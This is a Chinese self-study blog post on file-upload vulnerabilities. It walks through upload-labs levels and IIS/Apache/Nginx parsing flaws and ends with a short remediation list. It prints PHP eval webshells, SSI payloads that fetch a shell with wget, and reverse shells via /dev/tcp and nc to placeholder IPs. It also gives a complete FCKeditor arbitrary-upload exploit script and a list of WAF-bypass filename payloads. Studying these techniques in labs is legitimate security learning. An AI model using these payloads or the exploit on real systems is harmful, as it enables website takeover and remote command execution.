2020v6自学笔记web漏洞之文件上传

WEB 漏洞-文件上传之基础及过滤方式

在这里插入图片描述

什么是文件上传漏洞?
凡是存在文件上传的地方,就有可能存在文件上传漏洞,是否存在漏洞要看对方网站后端代码写的完整性,如果少了某一种验证方式就可能存在漏洞

文件上传漏洞有哪些危害?
文件上传:高危漏洞,自定义上传文件,上传后门文件等,可以拿到当前网站权限,甚至权限提升,内网渗透等

文件上传漏洞如何查找及判断?
查找:
	黑盒测试:
		1.通过目录扫描工具扫描敏感文件,如:upload目录等等
		2.通过查找网站功能,是否存在文件上传功能,如会员中心等等
		3.进入对方后台系统,上传webshell,后台拿shell
	白盒测试:
		1.通过源代码分析对方网站是否存在文件上传漏洞,或文件上传功能
		2.前提是有源代码
判断:
	文件上传抓包测试

文件上传漏洞有哪些需要注意的地方?
1.在找到文件上传漏洞后:注意归类,看文件上传漏洞是那个类别:常规类、cms类、编辑器类、其他类/cve类
2.关于文件上传漏洞在实际应用中的说明?
注意在纯js脚本型网站,数据包是无法抓到的,该类型网站并没有与后端交互
注意在测试文件上传漏洞时先进行上传回显类脚本测试是否上传成功再进行上传shell文件,进行连接
	eg,<?php phpinfo() ?>

在这里插入图片描述

演示案例
常规文件上传地址的获取说明
查找文件上传:
	1.搜索引擎:iurl: upload.php
	2.目录扫描器	

不同格式下的文件类型后门测试
什么格式代码就用什么格式执行

配合解析漏洞下的文件类型后门测试
解析漏洞:将原本的格式解析为脚本格式并执行,造成文件任意解析
注意文件解析前提:网上公开的平台“apache,nginx,iis”
eg:	上传一个jpg图片里面写上php脚本代码,在有解析漏洞的配合下,网站在解析该文件时,就可以解析成脚本代码执行
靶场vulhub中Nginx解析漏洞
实战情况中经常使用漏洞配合文件上传使用

本地文件上传漏洞靶场环境搭建测试
upload_labs靶场:
	第一关:文件上传前端验证(js代码过滤脚本文件只能上传图片文件)
	扩展,前端代码与后端代码区别:
		1.前端代码返回的页面与客户端一样,后端代码不一样
		2.前端代码在本地客户端执行,后端代码需要在对方服务器中进行执行
		3.前端代码可以修改,后端代码无法修改
	解题思路:
		在验证了对方文件上传是使用了js脚本进行在本地过滤文件上传,因此直接将网页源代码复制到本地
	将代码中js脚本验证上传文件的代码直接删掉,添加指向地址,在本地打开上传时会指向目的地。
	eg.	<from action="xxx.xx.xx/index.php">
	类似于中转注入,在本地将前端验证代码去除,在本地打开html文件上传,最后指向目标,绕过前端验证

某 CMS 及 CVE 编号文件上传漏洞测试
finecms搭建平台文件上传漏洞(会员类网站上传头像)1.先使用常规思路进行文件上传,发现文件上传并不返回路径,不能判断文件是否上传成功
	2.发现该网站是由finecms搭建的会员网站,进行归类
	3.归类到其他类第三方平台上,直接在网上查找该cms漏洞
CVE文件上传型漏洞:
	
涉及资源

c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)


WEB 漏洞-文件上传之后端黑白名单绕过

在这里插入图片描述

#文件上传常见验证:
后缀名,类型,文件头等
后缀名为直接验证
文件类型与文件头是间接验证
----------------------------
#后缀名:黑名单,白名单
网站在验证后缀时有两种验证方式:
 黑名单验证:明确不让上传的格式后缀
	asp php jsp aspx cgl war等等脚本格式后缀
 #注意如果该网站是使用黑名单验证时,在定义后缀名不完整时,可以用其他格式达到同样效果(注意这个与网站搭建平台及设置有关系的,有的可能支持该格式):
 	eg. php5 Phthml都可以执行php脚本
 白名单验证:明确可以上传的格式后缀
	jpg png rar gif等等
 白名单相对于黑名单又要安全些,需要如果绕过,因为网站明确了上传文件格式类型,与黑名单恰恰相反。
----------------------------
文件类型:MIME 信息
文件上传通过MIME类型进行验证:
	Context-Type: imge/jgp
#这种验证方式并不严谨,可以通过数据包伪造mime类型,进行欺骗上传自定义格式件
------------------------------
文件头:内容头信息
文件内容中文件头验证:
	文件头:PNG
#这种方式与MIMIE类型原理一样,通过检测文件类型,进行判定文件,只不过这里是检测文件内容中文件头部信息判定文件类型,可以使用伪造数据包中文件内容的文件头部进行上传自定义格式文件
------------------------------------
#简要上传表单代码分析解释
<form enctype="multipart/form-data" method="post" onsubmit="return checkfile()">
#enctype:提交类型
#method:请求方法
#onsubmit:鼠标点击触发	
#checkfile():返回检查函数
#isset()函数:判断是否被触发,通俗讲就是看数据是否提交
案例演示
#简要上传代码分析:
<?php
/*
PHP中 $_FILES 是一个预定义的数组
用来获取通过 POST 方法上传文件的相关信息
如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。
-----------------------------------------------------------------------------------------
$_FILES['userfile']['name']
客户端机器文件的原名称。
--------------------------------
$_FILES['userfile']['type']
文件的 MIME 类型,需要浏览器提供该信息的支持,例如“image/gif”。
---------------------------------------------------------------
$_FILES['userfile']['size']
已上传文件的大小,单位为字节。
----------------------------------------------------------------
$_FILES['userfile']['tmp_name']
文件被上传后在服务端储存的临时文件名。
----------------------------------------------------------------
$_FILES['userfile']['error']
和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。
*/
$name=$_Files['uploadfile']['name'];//接收表单中name中参数,也就是接受前端上传过来的文件名
echo $name;
$type=$_Files['uploadfile']['type'];//接收前端上传的文件MIME类型
echo $type;
$size=$_Files['uploadfile']['size'];//接收前端上传的文件大小
echo $size;
/*
也就是说后端通过接收前端上传的文件信息,进行检测
例如对文件MIME类型检测:
	$type=$_Files['uploadfile']['type'];
	if($type != 'image/jpeg'){
		echo "非法文件";
	}else{
		echo "上传成功";
	}
*/
?>
<form enctype="multipart/form-data" method="post" action="">
<p>文件上传</p>
<input class="input_file" type="file" name="uploadfile" />
<input class="button" type="sumbit" name="sumbit" value="上传" />
</form>
#upload_labs关卡代码分析 - 推荐文章:https://cloud.tencent.com/developer/article/1740497
第一关:
 #js脚本前端验证
 #中转文件上传:把网页源码写到本地,删掉js过滤脚本,<form action="xxx.xx.xx/index.php">指向目标
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    #过滤代码:
    <script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  #绕过:根据分析代码,可以知道是前端代码,进行本地修改,中转文件
    本地指向:
    <form action="http://upload_labs.ckteam.top/Pass-01/index.php" enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    访问图片链接:
    http://upload_labs.ckteam.top/upload/phpinfo.php
	成功返回phpinfo信息:
     #PHP Version 5.3.29
------------------------------------------------------------------------------------------
第二关:
 #文件MIME类型验证
 #Context-Type:imge/jgeg	数据包伪造
 代码分析:
  if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
      #通过接收前端提交过来的文件MIME类型进行判断,如果符合条件就进行上传
  绕过:通过伪造数据包中MINE类型进行绕过
      将原本的Content-Type: application/octet-stream 伪造成	Content-Type: image/jpeg
   访问图片地址:http://upload_labs.ckteam.top/upload/phpinfo.php
	返回:PHP Version 5.3.29
------------------------------------------------------------------------------------------
第三关:
 #黑名单过滤——过滤文件后缀
 #后缀过滤不全使用不同后缀实现相同效果:php5 php3 phtml等等
 代码分析:
        if (isset($_POST['submit'])) {	//判断是否提交文件
    	if (file_exists(UPLOAD_PATH)) {	//判断文件路径是否存在
        	$deny_ext = array('.asp','.aspx','.php','.jsp');//过滤的后缀
        	$file_name = trim($_FILES['upload_file']['name']);//trim函数去除文件名中空格
        	$file_name = deldot($file_name);//删除文件名末尾的点 例如:1.php[.]
        	$file_ext = strrchr($file_name, '.');//str函数搜索点号最后出现的位置
        	$file_ext = strtolower($file_ext); //转换为小写,将后缀都转换为小写
        	$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        	$file_ext = trim($file_ext); //收尾去空,去掉后缀尾部空格,例如:.php空格
  绕过:明显黑名单验证方式,分析代码发现过滤的后缀并不全,尝试php4 php3 phtml等等后缀进行绕过
      可以参考网上资料详情!
   		#注意使用其他后缀有前提条件,如php5 php3等等平台一定要是apache平台并且打开多个后缀
 -----------------------------------------------------------------------------------------
 第四关:
 #黑名单过滤全
 #通过.htaccess文件解析配置文件进行绕过
 代码分析:
      $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
#基本上将所有的后缀都进行了过滤,但是.htaccess文件并没有过滤,因此这里用到.htaccess解析漏洞
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
#绕过:通过上传自定义的.htaccess配置文件,实现解析.php文件
//创建一个.htaccess文件
<FilesMatch "hack5.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//上传后门图片文件
 
 第五关:
 #黑名单过滤全
 #.ini文件上传,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址.目的是防止跨目录访问和文件跨目录读取。默认放在根目录 .user.ini.不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了

首先上传.user.ini文件,文件内容为:
auto_prepend_file=Pass05.png
接着上传Pass05.png文件,文件内容为:
<?php @eval($_POST['cmd']);?>
当访问当前目录下任意php文件就可以包含Pass05.png
http://127.0.0.1:806/upload/readme.php  - 效果:会包含Pass05.png文件并执行里面的php代码
            
 第六关:
 #黑名单过滤全
 #文件后缀大小写并没有进行转换,后缀大小写绕过
 
 第七关:
 #黑名单过滤全
 #文件后缀基本上都被过滤,但是从代码上看出,并没有在最后首尾去空
 首尾去空:就是说在文件后缀中去除空格。在数据包中文件空格可以存在,而在上传进服务器中时系统会自动去除空格还原后缀格式。
 这关绕过使用了系统的特性与绕过的特性,使用空格绕过黑名单,上传服务器进行,系统又去除空格,还原格式。eg. .php空格 而黑名单中没有
 
 第八关:
 #黑名单过滤全
 #在代码中可以看出少了对文件后缀点的去除,与空格绕过语言的道理,先绕过黑名单上文件后缀(.php.),再上传到服务器上,系统又强制去除点(.php)还原格式

第九关:
 #黑名单过滤全、以及等等字符过滤都过滤了
 #在代码少了对::$DATA字符处理
 #在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
 #前提必须是Windows系统,php平台
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
    
第十关:
#前面所有可以利用的都给过滤了,分析下代码,先将首尾去空,又去除了::$DATA又转换为小写,再删去末尾的点
这样一来我们构造文件名,使其经过过滤后得到的还是php的文件名不就行了,所以:
    1.php. . 就可以绕过,也就是点+空格++空格绕过

第十一关:
#黑名单过滤——后缀替换为空
#这关要看代码是怎么过滤的,是过滤一次就不过滤了还是循环过滤(递归过滤)
#一次过滤绕过
 +++++++++++++++++++++++++++++++++
 代码过滤将黑名单后缀字符替换为空分:
   一次过滤
    a.php 过滤	a.
    绕过:a.pphphp	过滤后	a.php
    循环过滤递归过滤()
    a.php 过滤	a.
    a.pphphp 过滤 a.
    循环过滤安全性更高
 ++++++++++++++++++++++++++++++++++
    #一次过滤绕过	a.pphphp	a.pphphpphp		a.php. .

第十二关:
#白名单过滤
#%00截断文件名: 注意使用%00截断 - 需要满足条件 - php版本 <= 5.3.4
/1.php%002022911.jpg,相当于注释,注释后面的文件名,保留1.php
推荐文章https://www.jianshu.com/p/71b8b554d9b3
+++++++++++++++++++++++++++++++++++++++
%00绕过与0x00绕过应用方式区别:
%00绕过应用在url地址上截断:xxx.xx.xx%00.jpg  - get
0x00绕过应用在文件名后缀上:a.php0x00.jpg   - post
++++++++++++++++++++++++++++++++++++++++

#白名单过滤
%00截断,这里注意的是这里用的请求方式是post请求,因此在请求体中进行%00截断,但是要对%00进行url编码:../uploadfils/x.php(%00编码)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#为什么在get时不用编码?在post就会要求编码?
get中会自动识别url编码,也就是说直接写编码后字符,它也会识别
post中并不会自动识别url编码,所以我们要先解码,然后再让它在编码,这样就不会改变。
    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

WEB 漏洞-文件上传之内容逻辑数组绕过

在这里插入图片描述

图片一句话制作方法:
1.手工插入PHP脚本
2.使用命令将图片与脚本合并
	copy 1.png /b + shell.php /a webshell.jpg

文件头检测
	通过判断文件的头来验证文件类型

图像文件信息判断
	通过特定函数来对文件的内容信息进行判断

逻辑安全=二次渲染
	二次渲染特征:二次操作,二次渲染是一种技术,并不是一种漏洞,它有没有漏洞就要看后端代码的验证,是在二次渲染之前做验证还是之后。
 	在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
 	注意这里就会出现一个问题,在后端代码验证时,是验证的第一个还是第二个
 	二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除
	在还没有验证的情况下就对文件进行了保存
	二次渲染就是代码的逻辑问题,在还没有验证之前,就使用了代码将文件移动保存了,因此造成了二次渲染的逻辑问题
	#phpcms中就会有二次渲染的问题

逻辑安全-条件竞争
	条件竞争:就是资源占用问题,在打开一个文件正在编辑该文件时,如果删除该文件,系统就会提示文件正在运行中,无法删除,而恰好二次渲染就要配合条件竞争使用
	#在上传文件的同时不断访问该文件造成条件竞争问题(前提是二次渲染)

目录命名-x.php/.
	#目录命名方式在服务器对其解析时,会解析成文件形式
	通过对文件命名成目录形式绕过黑名单拦截,但上传进服务器后,会对文件解析成普通文件而不是目录

脚本函数漏洞-CVE-2015-2348
数组接受+目录命名
在代码中常有函数支持数组传值如:end($file)	截取文件最后一组数据
数据方式接受数据:
	上传的文件名:xiaodi.jpg
	数组方式传值:xiaodi	. 	jpg
		x[0] = 'xiaodi'
		x[1] = '.'
		x[3] = 'jpg'
绕过方法:
	使用数组传值加上目录命名方式绕过
	savername[0] = 'xiaodi.php'
	savername[1] = '/'
	savername[3] = 'jpg'
	#后端代码会截取最后一组数据进行判断后缀
	$file[count($file)-1]	#截取数组中最后一组数据

在这里插入图片描述

演示案例
Uploadlabs-pass13-20 关卡测试
第十三关:
#文件内容信息检测——文件头(文件头可以伪造)
#图片木马与文件包含漏洞结合使用,上传一张图片,图片中包含着脚本代码,使用文件包含将脚本代码执行出来

第十四关:
#文件内容信息检测,使用getimagesize($file)函数获取图像信息,如果不是图像,则会获取失败
#图片木马上传结合文件包含执行

第十五关:
#文件内容信息检测,使用exif_imagetype($file)函数获取图像类型,如果不是图像,则会获取失败
#图片木马上传结合文件包含执行

第十六关:
#文件内容信息检测,使用函数检测文件内容信息,判断是否符合类型
#图片木马上传结合文件包含执行

第十七关:
#图像二次渲染 - 会将原图中后门代码过滤
绕过思路:
(1)二次渲染(代码逻辑问题)与条件竞争(系统资源占用问题)绕过后端白名单检测
	利用方法:使用burpsuite不断上传文件 - 另一边不断请求上传的图片地址
(2)通过winhex工具编辑图片,将一句话插入到,二次渲染后图片没有更改的位置(比较原图与渲染图片相同的地方)
(3)使用php脚本生成图片绕过二次渲染

第十八关:
#文件上传——白名单检测
#这关出现了代码上的逻辑问题,在上传文件时,先进行了上传,后进行了验证,因此可以使用代码上逻辑问题与系统上资源占用问题(条件竞争),使后端代码对文件验证失效
#代码逻辑问题 - 先将文件保存 - 再判断后缀 
绕过方法:条件竞争
	利用方法:使用burpsuite不断上传文件 - 另一边不断请求上传的图片地址

第十九关:
#黑名单拦截后缀
#绕过思路:查看源代码发现文件名是通过POST提交的参数,我们可以控制的变量,因此绕过方式有两种:
	1.使用%00截断
	2.使用目录形式命名	x.php/.
第二十关:
#文件保存名字可控
绕过:
1.php. 等等方式绕过

第二十一关:
#通过代码分析:发现先验证了文件mime类型 - 再通过end函数使用数组方式提取数组最后一个元素(就是提取后缀)
绕过:
	数组方式提交文件名
	上传的文件名:xiaodi.jpg
	使用数组传值加上目录命名方式绕过
	savername[0] = 'xiaodi.php'
	savername[1] = '/'
	savername[3] = 'jpg'
	#后端代码会截取最后一组数据进行判断后缀
	$file[count($file)-1]	#截取数组中最后一组数据
payload:
-----------------------------108871354321790
Content-Disposition: form-data; name="save_name[0]"

x.php
-----------------------------108871354321790
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------108871354321790
------------------------------------------------------------------------------------------
#CVE-2017-12615-上传-Tomcat
	中间件层次存在的任意文件上传漏洞,vulhub靶场中tomcat
	jsp后门——远程命令执行
#中间件解析漏洞+配合文件上传测试
#IIS-上传-解析-(panfei806)
iis6.0
文件夹形式
xx/xx.jpg
xx.asp/xx.jgp 	xx.jpg会被当做asp脚本执行
文件形式
xx.jpg
xx.asp;.jpg或xx.asp;xx.jpg  xx.jpg会被当做asp脚本执行
	#注意这里脚本可以换成php,换成php就会当php脚本执行
#Apache-上传-解析-vulhub
	apache解析漏洞同理nginx解析漏洞,xx.xx.xx?xx.jpg.php这时就会解析成php脚本执行
#Nginx-上传-解析-vulhub
	nginx搭建平台版本上可能会存在解析漏洞
	解析漏洞:就是在上传文件时,在地址栏中xx.xx.xx?xx.jpg这里加上/x.php就会导致该文件解析成php文件
#在测试漏洞时思路打开,要学会判断一些特定的因素问题,不要纠结一面,多层面尝试
涉及资源

Smi1e


WEB 漏洞-文件上传之解析漏洞编辑器安全

在这里插入图片描述
在这里插入图片描述

各个平台解析漏洞讲解
IIS
	#其他脚本格式一样
	iis6		 xx.asp/xx.jgp 或 xx.asp;.jpg 	xx.jpg会被当做asp脚本执行
	iis7		 xx.jpg/1.asp  或 xx.asp;.jpg 	会被当做asp执行

Apache
https://blog.csdn.net/weixin_44174581/article/details/119387616
 换行解析漏洞:
	漏洞版本:Apache 2.4.0~2.4.29
	漏洞利用:配合文件上传,通过换行解析漏洞绕过后缀检测,上传后门
	绕过:在数据包中将文件后缀后加上%0a以及在十六进制中将文件后缀后的00改为0a
 多后缀解析漏洞:
	漏洞条件:使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。
	漏洞利用:配合文件上传,通过解析漏洞绕过后缀检测,上传后门
	绕过:该版本在解析文件后缀时,x.php.xxx.yyy,识别最后的yyy,如果不识别,向前解析,直到解析为止
 SSI远程命令执行漏洞:
 	漏洞版本:Apache全版本(支持SSI与CGI)
 	漏洞利用:编写payload到xx.shtml文件中,上传该文件于服务器,访问该文件并执行命令
 	SSI代码——payload:
 	++++++++++++++++++++++++++++++++++++++++++++++++++
 	<pre>
	<!--#exec cmd="whoami" -->		//要执行的代码
	</pre>
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	#webshell
	<!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
	echo '<?php @eval($_POST[margin]);?>' > shell.php
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	#反弹shell
	<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.0.118/8888 0<&1 2>&1" -->
	<!--#exec cmd="nc x.x.x.x 8888 -e /bin/bash"-->
	+++++++++++++++++++++++++++++++++++++++++++++++++++
	#注意该文件后缀能否上传取决于,apache配置
	目的:当后台对扩展名校验不严格时,可以上传此类型文件,达到执行命令,获取webshell的目的

Nginx
https://blog.csdn.net/Tauil/article/details/125888127
 多后缀解析漏洞:
	漏洞条件:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
	漏洞利用:配合文件上传,通过解析漏洞绕过后缀检测,上传后门
	绕过:就是在上传文件时,在地址栏中xx.xx.xx?xx.jpg这里加上/x.php就会导致该文件解析成php文件
 逻辑解析漏洞:
	漏洞版本:较低版本 1.4.x
	漏洞利用:配合文件上传,通过逻辑解析漏洞绕过后缀检测,上传后门
	绕过:在文件名后缀后加入...php然后在十六进制中把文件后缀后两个2e改成20,00
	访问:在访问时将文件后缀补上

各个 WEB 编辑器安全讲解
WEB编辑器:就是网站后台在编辑文章时用到的编辑器
但是对应的编辑器的版本可能存在相应漏洞
推荐文章:https://blog.csdn.net/qq_50854662/article/details/121000530
#编辑器查找与判断
1.通过搜索引擎搜索/或黑暗引擎
	inurl:fckeditor
2.通过扫描获取路径等等判断
3.通过一些会员中心中发现相关编辑器

各个 CMS 文件上传简要讲解
wordpress文件上传漏洞:
https://blog.csdn.net/weixin_52194536/article/details/126794103
	WordPress插件File-Manager任意文件上传漏洞复现:
	https://blog.csdn.net/xuandao_ahfengren/article/details/109034716
	CVE-2020-25213 WordPress远程代码执行漏洞复现:
	https://www.cnblogs.com/Salvere-Safe/p/14995249.html
phpcms任意文件上传漏洞:
https://www.freebuf.com/articles/web/290031.html

文件上传简要思路
文件上传时注意:什么类型格式文件就会以什么类型执行,除非配合其他漏洞,解析成其他格式才能执行
1.首先通过扫描也好或者一些会员中心,找到上传点
2.查看当前网站的中间件(搭建平台),看当前搭建平台的版本是否有解析漏洞
3.在去测试网站后端源码的安全,看是否有文件上传的漏洞,通过上传文件判断后端是通过黑名单或白名单验证或文件内容验证来进行突破与测试
4.检测对方CMS(建站系统,开源的程序),若网站是用了哪种CMS搭建的,在网上搜索该CMS存在的漏洞,进行利用
5.再检测对方是否使用了网站编辑器(后端编辑文本用的),如果使用找到相应编辑器,在上网进行查找该编辑器的漏洞利用
6.如果以上都不行,就进行查找相应的文件上传漏洞CVE编号进行测试网站
演示案例
#几种中间件解析漏洞简要演示
参考共享的中间件漏洞 PDF
IIS6/7 简要说明-本地搭建
    iis6.0
    文件夹形式
    xx/xx.jpg
    xx.asp/xx.jgp 	xx.jpg会被当做asp脚本执行
    文件形式
    xx.jpg
    xx.asp;.jpg或xx.asp;xx.jpg  xx.jpg会被当做asp脚本执行
    #注意这里脚本可以换成php,换成php就会当php脚本执行
 	iis7
 	检测是否有解析漏洞:只需要在文件后面添加/.php或/.asp等等,
 	如:xxx.xx.xx/jpg/1.jpg/1.php
 	如果返回错误,就是没有,如果返回乱码或者其他就是有
 	之后我们找一个上传点利用解析漏洞上传后门文件

Apache 配置安全
	https://cloud.tencent.com/developer/article/1827994

Apache 解析漏洞-低版本
 解释:
	apache低版本解析漏洞:Apache2.x版本可能存在
	该版本在解析文件后缀时:x.php.xxx.yyy
		识别最后的yyy,如果不识别,向前解析,直到解析为止
 利用场景:
 	如果对方中间件Apache属于低版本,我们可以利用文件上传。上传一个未知后缀的文件,利用解析漏洞规则成功解析文件,后门代码被执行。

Apache 换行解析-vulhub
	符合 apache2.4.0-2.4.29版本
	文件后缀%0a	或修改	十六进制中文件后缀后空格为0a

Nginx 解析漏洞-vulhub
	nginx搭建平台版本上可能会存在解析漏洞
	解析漏洞:就是在上传文件时,在地址栏中xx.xx.xx?xx.jpg这里加上/x.php就会导致该文件解析成php文件

Nginx解析逻辑漏洞-vulhub
	漏洞版本:0.8.43-1.4.3/1.5.0-1.5.7
	注意不是看版本符号就一定存在漏洞,需要看对方是否打补丁或一些防护操作
	在文件名后缀后加入...php然后在十六进制中把文件后缀后两个2e改成20,00

几种常见 WEB 编辑器简要演示
Fckeditor exp 利用:
	php fck.php 127.0.0.1:8080 /fckerditor263/
ueditor 漏洞利用:
https://blog.csdn.net/m0_51468027/article/details/126077427

几种常见 CMS 文件上传简要演示
通达 OA 系统文件上传漏洞:
https://www.jianshu.com/p/fa67ef1cdf3c
https://www.cnblogs.com/twlr/p/12989951.html

贴近实际应用下的以上知识点演示
判断中间件平台,编辑器类型或 CMS 名称进行测试
涉及资源

web中间件常见漏洞总结.pdf

fckeditor——漏洞利用exp
使用帮助,将代码创建为fck.php放入php文件中用php运行
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

WEB 漏洞-文件上传之 WAF 绕过及安全修复

在这里插入图片描述

上传参数名解析:明确哪些东西能修改?
Content-Disposition:一般可更改	//表单提交
name:表单参数值,不能更改		   //前端所对应,一般不建议更改
filename:文件名,可以更改		//上传的文件名
Content-Type:文件 MIME,视情况更改		//上传的文件mime类型

常见绕过方法:
 1.数据溢出-防匹配(xxx...)
	在数据包中添加垃圾数据,导致数据量过大从而溢出,程序无法检测,导致上传成功
	注意;间隔,隔开其他参数
	eg.
----------------------------------------------------------------------------
 2.符号变异-防匹配(' " ; /)
	在防护软件中,在匹配关键字时,会从符号中匹配关键值
	猜想安全狗可能是通过检测双引号或单引号里面的值来进行匹配过滤
	猜想安全狗中代码可能通过找最后一个单引号或双引号,提取前面值进行匹配
---------------------------------------------------------------------------
 3.数据截断-防匹配(%00 ; 换行)
 	#%00截断,相当于重命名,但是这里规则并不适用
 	#换行绕过,将文件名以换行形式写,但是在程序中就会以这种形式形式 x\n.\n.\n\p\nh\np(\n换行),从而绕过waf
 ---------------------------------------------------------------------
 4.重复数据-防匹配(参数多次)
 	首先找到那个参数上的数据被接受了
	借助原有数据包的数据进行重复:
		filename="Content-Disposition: form-data; name="upload_file";x.php"
 ---------------------------------------------------------------------

Payload:
大量垃圾数据缓冲溢出(Content-Disposition,filename 等)
filename=x.php
filename="x.php
filename='x.php
filename="a.jpg;.php";
filename="a.php%00.jpg"
filename="Content-Disposition: form-data; name="upload_file";x.php"
filename="x.jpg";filename="x.jpg";.....filename="x.php";
filename="xxx/x.jpg"
filename=
"
x
.
p
h
p
"

文件上传安全修复方案:
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等

在这里插入图片描述
在这里插入图片描述

演示案例
上传数据包参数对应修改测试
Safedog+云服务器+uploadlabs 测试
Safedog+云服务器+uploadlabs_fuzz 测试
文件上传安全修复方案-函数自定义及 WAF
涉及资源

https://github.com/fuzzdb-project/fuzzdb

https://github.com/TheKingOfDuck/fuzzDicts

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值